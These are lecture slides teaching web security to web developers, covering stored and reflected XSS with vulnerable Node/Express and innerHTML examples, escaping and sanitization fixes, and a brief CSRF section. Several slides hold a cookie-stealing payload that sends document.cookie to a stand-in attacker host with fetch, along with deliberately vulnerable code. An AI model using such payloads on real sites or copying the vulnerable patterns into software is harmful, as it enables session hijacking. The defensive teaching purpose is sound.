



Web Security & XSS (Cross-Site Scripting)

Lecture 23

Mahhek Tahir

Why security matters in web applications
Understanding one of the most common
attacks: XSS



What is Web Security?

Web Security = protecting websites and users from attacks

Focus areas:

- Data protection
- User privacy
- Preventing unauthorized actions

Even simple apps (like their MERN projects) can be attacked if not secured.



Common Web Attacks

Cross-Site Scripting (XSS)

SQL Injection

Cross-Site Request Forgery (CSRF)

Authentication attacks

XSS because it directly relates to frontend + backend.



What is XSS?

XSS = Injecting malicious JavaScript into a webpage

Executed in the browser of other users

Attacker sends code → browser runs it → user gets compromised

Browser trusts your website

So injected script runs as if it's legit

How XSS Works



Flow:

1. User enters input (comment, form, etc.)
2. App stores/displays it without validation
3. Script gets executed in another user's browser

`<script>alert("Hacked!")</script>` in a comment box

Oh, this is JavaScript — I should run it!

Now instead of just an alert, the attacker could:

- Steal cookies
- Hijack session
- Redirect user
- Perform actions as that user

It happened in the *victim's browser* — using *your website*"



Basic XSS Example

```
<input type="text" id="name" />
<button onclick="show()">Submit</button>

<div id="output"></div>

<script>
function show() {
    let value = document.getElementById("name").value;
    document.getElementById("output").innerHTML = value;
}
</script>
```

User types name → it shows on screen



Real Danger of XSS

Steal cookies/session tokens

Redirect users to fake sites

Perform actions on behalf of user

```
<script>
```

```
fetch("http://attacker.com/steal?cookie=" +  
document.cookie);
```

```
</script>
```



Steps

value becomes:

```
<script>
fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>
```

innerHTML renders it

```
document.getElementById("output").innerHTML = value;
```

Demo

Types of XSS



1. Stored XSS

- Saved in database
- Affects many users

2. Reflected XSS

- Comes from URL/input
- Immediate execution

Stored → comments section

Reflected → search bar



React

React is safe from XSS by default, but NOT completely immune.

`{userInput}`

✓ Safe

`dangerouslySetInnerHTML`

✗ Unsafe

`<div dangerouslySetInnerHTML={{ __html: userInput }} />` is equal to `innerHTML`



XSS in Node/Express

User can inject script via URL.

```
app.get("/search", (req, res) => {  
  const query = req.query.q;  
  res.send(`<h1>Search Results for: ${query}</h1>`);  
});
```

[http://localhost:3000/search?q=<script>alert\('Hacked'\)</script>](http://localhost:3000/search?q=<script>alert('Hacked')</script>)

<h1>Search Results for: <script>alert('Hacked')</script></h1>

Data comes from **URL**

Server sends it back **without cleaning**

Browser treats it as **HTML**

Script runs immediately



How to Prevent XSS

Escape user input

Use safe rendering (React default)

Avoid `innerHTML`

Validate input



Sanitization Example

Takes **user input**

Removes **dangerous HTML/JavaScript**

Returns **safe version**

`<script>alert("Hacked")</script>`

`<b>Hello</b>` will return only `<b>Hello</b>`

`npm install sanitize-html`

```
const sanitizeHtml = require("sanitize-html");
```

```
let clean = sanitizeHtml(userInput);
```

escapeHtml

```
const escapeHtml = require("escape-html");

app.get("/search", (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>Search Results for: ${query}</h1>`);
});
```

?q=<script>alert(1)</script>

<h1>Search Results for: <script>alert(1)</script></h1>



Escape vs Sanitize

Escape → show everything as text (nothing executes)

Sanitize → allow safe HTML, remove dangerous parts

Situation	Use
Search query	Escape
Username	Escape
Blog editor	Sanitize
Quill / TinyMCE	Sanitize



Stored XSS

What is Stored XSS?

- Malicious script is **saved in database**
- Runs every time someone views the data
- Affects **multiple users**
- **Stored XSS is dangerous because one attack affects every user who views the data.**

Example



```
app.post("/comment", (req, res) => {  
  const comment = req.body.comment;  
  
  // ✗ Directly saving user input  
  db.save(comment);  
  
  res.send("Comment added");  
});
```

- `<script>alert("Hacked")</script>`
- Attacker submits comment
- Stored in database
- Another user opens page
- Comment is displayed using `innerHTML`
- Script executes

Prevent

Sanitize before saving

```
const sanitizeHtml = require("sanitize-html");  
  
const clean = sanitizeHtml(req.body.comment);  
db.save(clean);
```

Escape when displaying

```
res.send(`<p>${escapeHtml(comment)}</p>`);
```



Never trust user input

Avoid raw HTML rendering

Use frameworks safely

XSS is easy but dangerous

Security is not a feature — it is a responsibility.



How CSRF Attack Happens

Cross-Site Request Forgery

User logs into: bank.com

Server sets session cookie: session=abc123

User does NOT log out

Session is still active

User visits attacker site: evil.com

Hidden request is triggered:

HTML

```

```

Browser automatically sends cookie: Cookie:
session=abc123



How to Prevent CSRF

Ensure request is coming from your application, not an attacker

CSRF Tokens

- ▶ Server generates unique token
- ▶ Stored in session
- ▶ Sent to page

SameSite Cookies

Set-Cookie: session=abc123; SameSite=Strict

Use POST for Sensitive Actions - reduces attacks not prevent

Require re-authentication for sensitive actions



References & Further Reading

Learn More About XSS & Web Security

- React Security Docs
<https://react.dev>
→ How React prevents XSS
- Node.js / Express.js
<https://expressjs.com>
→ Backend handling & input validation

Tools & Libraries

- sanitize-html
<https://www.npmjs.com/package/sanitize-html>
- helmet
<https://www.npmjs.com/package/helmet>

Practice & Interactive Learning

- PortSwigger Web Security Academy
<https://portswigger.net/web-security>
→ Hands-on labs for XSS